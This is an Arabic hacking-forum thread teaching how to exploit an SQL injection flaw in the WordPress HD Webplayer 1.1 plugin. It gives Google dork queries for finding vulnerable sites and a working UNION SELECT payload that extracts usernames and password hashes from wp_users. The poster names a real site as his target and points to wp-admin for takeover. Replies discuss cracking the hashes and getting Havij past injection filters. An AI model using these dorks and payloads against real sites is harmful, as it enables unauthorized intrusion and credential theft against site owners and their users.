أستغلال ثغرات واختراقها WordPress

[خبوش]

السلام عليكم ورحمة الله وبركاته


وصف لسكربت
WordPress (http://ar.wordpress.com/)



سكربت ممل سكربت يسبب لك الخطر بموقعك وهو يجيب لك راس منتدى بنسبة 100% على سيرفر عام
ماهي أشهر ثغراته المصاب بها ثغرات الحقن .



يالله فداكم ثغرة . :
الاصدار المصاب : Webplayer 1.1
نوع الثغرة : تثغرة ٍ حقن الي ما يعرف يحقن يدوي يستخدم الهافج

دورك في محرك البحث قوقل
1
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

2
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

3
inurl:"/wp-content/plugins/hd-webplayer/"

---------------------------------------


هذا رابط الاستغلال xxxx.com/vb//plugins/hd-webplayer/playlist.php?videoid=

تستبدل xxxx برابط الموقع

تستبدل vb بمسار السكربت

------------------------

هذا استغلال الحقن اليدوي


playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID*0x3a*user_login*0x3a*user_pass*0x 3b)*2*3*4*5*6*7+from+wp_users //Number of columns may be different




المهم

تابع الشرح المصور

انا اخترت الهدف هذا

http://metodistadesuzano.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=4


http://im14.gulfup.com/2012-09-01/1346478290331.png

http://im14.gulfup.com/2012-09-01/1346478290222.png




http://im14.gulfup.com/2012-09-01/1346478290173.png


http://im14.gulfup.com/2012-09-01/134647829024.png


http://im14.gulfup.com/2012-09-01/1346478290405.png

http://im14.gulfup.com/2012-09-01/1346478290696.png




وبكذا أنجزنا المهمه . مسار لوحة التحكم


http://www.example.com/wp-admin

[WALEED HaCKeR]

يعطيك العافيه .. من يومك مبدع

[midotiger228]

يوجد كثير من الهاشات لا يوجد لها فك وخاصه التي تبدأ ب $ فهي تسمى one way hashing اي ليس لها فك فلا تضيع وقتك..

[Hidden]

لا اوافقک الرای ...
یمکن کسرها ببرنامج Password Pro

[jok17]

يعطيك العافيه

[KADEME]

شكرا يا أخي . جازاك الله خيرا .

[kova-nux]

Merciiiiiiiiiiiiii

[touita]

raw3a akhi barak allah fik

[سارة الغامدي]

يسلمؤؤؤؤؤؤ ..

[zaizo max]

الف شكر يبرنس شرح جميل
تقبل مرورى



إذا طُعنت من الخلف >>> فأعلم انك فى المقدمة


هتلر

[يارب رحمتك]

بارك الله فيك

[HaCKer011]

جميل جميل جميل :)

[JACK5]

بارك الله فيك






سبحانك لا علم لنا الا ما علمتنا

[مهكره ذوووق]

مشكوووووووووووووووور

[دمعة شراري]

thanksssssssssssssssss

[يارب رحمتك]

بارك الله فيك

[صهيب هكر فلسطين]

مبدع اخي وبالتوفيق للجميع

[ضلال هكر]

الله يعطيك العااافية وشكرا على مجهودك الرائع:redface:

[Vegeto]

مــــــــــــــــــــــــ ــــــــــــــــــــــــش ـــــــــــــــــــــــــ ــــــكــــــــــــــــــ ـــــور

[safi syrian]

مشكووور الله يعطيك العافية

[sticky 1008]

بارك الله فيك على الشرح المبسط لكن المشكلة التي تواجه الجميع هي فك الهاش !!!!!

[dark prince]

بارك الله فيك
سلمت يداك اخي
مشكورر

[mouad ourrad]

بس انا نجحت بي حقن الموقع و استخراج الجدوال بس عندما اريد استخراج يورز و ياس يظهر لي خطا اعتقد ان ملف محمي كيف يتم تجاوز حماية و استخراج باس و يورز من برنامج havij
و عندما اريد استخراج يورز و ياس ياتيني هذا الاخطا
Turning on 'bypass illegal union' and retrying
مامشكلة

[Tiger Killer]

رووووووووعة